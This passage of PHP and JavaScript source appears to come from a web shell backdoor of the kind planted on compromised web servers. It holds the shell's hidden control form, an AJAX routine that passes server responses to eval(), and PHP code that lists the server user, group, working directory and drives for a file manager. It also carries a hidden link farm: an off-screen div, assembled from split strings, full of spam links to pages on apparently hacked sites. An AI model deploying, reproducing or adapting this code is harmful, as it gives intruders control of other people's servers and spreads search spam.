    echo strpos(@$_POST['p2'], "\n") !== false ? '' : addslashes(htmlspecialchars(@$_POST['p2']));
    ?>
';
	var p3_ = '<?php 
    echo strpos(@$_POST['p3'], "\n") !== false ? '' : addslashes(htmlspecialchars(@$_POST['p3']));
    ?>
';
	var charset_ = '<?php 
    echo htmlspecialchars(@$_POST['charset']);
    ?>
';
	function set(a,c,p1,p2,p3,charset) {
		if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
		if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
		if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
		if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
		if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
		if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		document.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = "ajax=true";
		for(i=0;i<document.mf.elements.length;i++)
			params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
		sr('<?php 
    echo $_SERVER['REQUEST_URI'];
    ?>
', params);
	}
	function sr(url, params) {	
		if (window.XMLHttpRequest) {
			req = new XMLHttpRequest();
			req.onreadystatechange = processReqChange;
			req.open("POST", url, true);
			req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
			req.send(params);
		} 
		else if (window.ActiveXObject) {
			req = new ActiveXObject("Microsoft.XMLHTTP");
			if (req) {
				req.onreadystatechange = processReqChange;
				req.open("POST", url, true);
				req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
				req.send(params);
			}
		}
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} 
			else alert("Request error!");
	}
</script>
<head><body><script type="text/javascript">
document.write('<' + 'di' + 'v sty' + 'le="position: absolute; l' + 'eft: -1974px; t' + 'op' + ': -2978px;" class="fqmhyovdffwbnjq53">');
</script>
	
	<a href="http://ageco.org/xampp/index.php">phone number directory assistance</a>
	<a href="http://ageco.org/xampp/registry/index.php">press</a>
	<a href="http://ageco.org/xampp/prison/index.php">Find</a>
	<a href="http://ageco.org/xampp/buy/index.php">Att</a>
	<a href="http://ageco.org/xampp/background/index.php">Criminal records public records</a>
	<a href="http://ageco.org/xampp/look/index.php">T mobile cell phone number directory</a>
	<a href="http://ageco.org/xampp/vin/index.php">Search for location by phone number</a>
	<a href="http://ageco.org/xampp/general/index.php">Find out about your family</a>
	<a href="http://ageco.org/xampp/public/index.php">Lamar county court records</a>
	<a href="http://ageco.org/xampp/judgements/index.php">Find phone number by ip address</a>
	<a href="http://ageco.org/xampp/check/index.php">App to find out whos calling you</a>
	<a href="http://ageco.org/xampp/law/index.php">Phone number by address search</a>
	<a href="http://ageco.org/xampp/court/index.php">Find location of address</a>
	<a href="http://ageco.org/xampp/someone/index.php">Google reverse</a>
	<a href="http://ageco.org/xampp/birth/index.php">Get someones cell phone number</a>
	<a href="http://ageco.org/xampp/access/index.php">here</a>
	<a href="http://ageco.org/xampp/accident/index.php">Phone</a>
	<a href="http://ageco.org/xampp/person/index.php">link</a>
	<a href="http://ageco.org/xampp/security/index.php">site</a>
	<a href="http://ageco.org/xampp/address/index.php">Fred durst</a>
	<a href="http://ageco.org/xampp/offender/index.php">here</a>
	<a href="http://ageco.org/xampp/checks/index.php">How to search address by phone number</a>
	<a href="http://ageco.org/xampp/of/index.php">Guernsey county court records</a>
	<a href="http://ageco.org/xampp/lookup/index.php">Look up phone number by address usa</a>
	<a href="http://ageco.org/xampp/police/index.php">Greensboro nc public records</a>
	<a href="http://ageco.org/xampp/cell/index.php">Union county nj property search</a>
	<a href="http://hayyan.com.jo/images/index.php">us senate office of public records</a>
	<a href="http://povar.samocvet.info/images/index.php">births</a>
	<a href="http://nikki.dreadfullyawry.com/wp-content/index.php">atlanta ga public records</a>
	

<script type="text/javascript">document.write('</d' + 'iv>');</script>
<div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
<?php 
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesWin\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets as $item) {
        $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
    }
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach (range('c', 'z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives .= '<a href="#" onclick="g(\'FilesWin\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr>' . '<td><br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesWin\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select></td></tr></table>' . '<div style="margin:5">';
}